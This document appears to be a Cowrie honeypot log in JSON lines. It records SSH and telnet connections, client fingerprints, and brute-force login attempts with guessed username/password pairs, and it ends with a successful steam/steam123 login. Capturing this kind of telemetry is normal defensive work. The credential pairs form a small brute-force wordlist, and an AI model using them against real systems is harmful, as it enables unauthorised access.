{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:59:25.129079Z","src_ip":"46.19.67.181","session":"6b366eb48fc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:59:25.284688Z","src_ip":"160.187.174.22","session":"124e8b8d1dae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"199105","message":"login attempt [root/199105] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:59:25.468461Z","src_ip":"46.19.67.181","session":"6b366eb48fc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321","message":"login attempt [root/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:59:26.277367Z","src_ip":"160.187.174.22","session":"124e8b8d1dae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:59:26.583547Z","src_ip":"46.19.67.181","session":"6b366eb48fc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:59:27.545837Z","src_ip":"160.187.174.22","session":"124e8b8d1dae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":49108,"dst_ip":"159.203.135.109","dst_port":23,"session":"edde7d0e5955","protocol":"telnet","message":"New connection: 170.64.224.25:49108 (159.203.135.109:23) [session: edde7d0e5955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:59:34.961635Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":37736,"dst_ip":"159.203.135.109","dst_port":22,"session":"77d86352a191","protocol":"ssh","message":"New connection: 160.187.174.22:37736 (159.203.135.109:22) [session: 77d86352a191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:59:54.362494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:59:54.500704Z","src_ip":"160.187.174.22","session":"77d86352a191","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:59:54.610423Z","src_ip":"160.187.174.22","session":"77d86352a191","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"worker","password":"worker123","message":"login attempt [worker/worker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:59:55.567949Z","src_ip":"160.187.174.22","session":"77d86352a191","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:59:56.812047Z","src_ip":"160.187.174.22","session":"77d86352a191","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":42598,"dst_ip":"159.203.135.109","dst_port":23,"session":"425215d6671e","protocol":"telnet","message":"New connection: 170.64.224.25:42598 (159.203.135.109:23) [session: 425215d6671e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:59:57.599235Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":44826,"dst_ip":"159.203.135.109","dst_port":23,"session":"628e16883479","protocol":"telnet","message":"New connection: 107.6.151.170:44826 (159.203.135.109:23) [session: 628e16883479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:00:00.387734Z"}
{"eventid":"cowrie.session.closed","duration":32.37093710899353,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:00:07.332420Z","src_ip":"170.64.224.25","session":"edde7d0e5955","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":51884,"dst_ip":"159.203.135.109","dst_port":22,"session":"aded918b43c7","protocol":"ssh","message":"New connection: 160.187.174.22:51884 (159.203.135.109:22) [session: aded918b43c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:00:25.746792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:00:25.751097Z","src_ip":"160.187.174.22","session":"aded918b43c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:00:25.999799Z","src_ip":"160.187.174.22","session":"aded918b43c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:00:26.755323Z","src_ip":"160.187.174.22","session":"aded918b43c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:00:28.031584Z","src_ip":"160.187.174.22","session":"aded918b43c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.741085052490234,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:00:32.128697Z","src_ip":"107.6.151.170","session":"628e16883479","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":48492,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbf3c7fbc8e5","protocol":"ssh","message":"New connection: 143.20.185.207:48492 (10.17.0.5:22) [session: fbf3c7fbc8e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:00:41.273070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:00:41.279859Z","src_ip":"143.20.185.207","session":"fbf3c7fbc8e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:00:41.401403Z","src_ip":"143.20.185.207","session":"fbf3c7fbc8e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":50892,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f0f0f86beb6","protocol":"telnet","message":"New connection: 170.64.224.25:50892 (159.203.135.109:23) [session: 1f0f0f86beb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:00:41.777826Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZVPS#4VCPU8GBAMD","message":"login attempt [root/XYZZVPS#4VCPU8GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:00:41.844907Z","src_ip":"143.20.185.207","session":"fbf3c7fbc8e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:00:42.974180Z","src_ip":"143.20.185.207","session":"fbf3c7fbc8e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":34388,"dst_ip":"159.203.135.109","dst_port":22,"session":"feecdd6458c8","protocol":"ssh","message":"New connection: 160.187.174.22:34388 (159.203.135.109:22) [session: feecdd6458c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:00:54.738779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:00:54.744561Z","src_ip":"160.187.174.22","session":"feecdd6458c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:00:54.971338Z","src_ip":"160.187.174.22","session":"feecdd6458c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:00:55.892217Z","src_ip":"160.187.174.22","session":"feecdd6458c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:00:57.132754Z","src_ip":"160.187.174.22","session":"feecdd6458c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":47718,"dst_ip":"10.17.0.5","dst_port":22,"session":"447a3d6097c1","protocol":"ssh","message":"New connection: 91.92.40.4:47718 (10.17.0.5:22) [session: 447a3d6097c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:00:59.639675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:00:59.647753Z","src_ip":"91.92.40.4","session":"447a3d6097c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:00:59.729187Z","src_ip":"91.92.40.4","session":"447a3d6097c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"test","message":"login attempt [user/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:00:59.977985Z","src_ip":"91.92.40.4","session":"447a3d6097c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:01:01.062428Z","src_ip":"91.92.40.4","session":"447a3d6097c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":33920,"dst_ip":"159.203.135.109","dst_port":23,"session":"66b6cb2d3b26","protocol":"telnet","message":"New connection: 170.64.224.25:33920 (159.203.135.109:23) [session: 66b6cb2d3b26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:01:04.401214Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":52378,"dst_ip":"159.203.135.109","dst_port":23,"session":"691bab6fb920","protocol":"telnet","message":"New connection: 107.6.151.170:52378 (159.203.135.109:23) [session: 691bab6fb920]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:01:21.625015Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":35536,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b49f87f5460","protocol":"ssh","message":"New connection: 160.187.174.22:35536 (159.203.135.109:22) [session: 6b49f87f5460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:01:22.766645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:01:22.777433Z","src_ip":"160.187.174.22","session":"6b49f87f5460","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:01:23.013683Z","src_ip":"160.187.174.22","session":"6b49f87f5460","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam123","message":"login attempt [steam/steam123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:01:23.717824Z","src_ip":"160.187.174.22","session":"6b49f87f5460","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:01:24.221337Z","src_ip":"160.187.174.22","session":"6b49f87f5460","protocol":"ssh"}
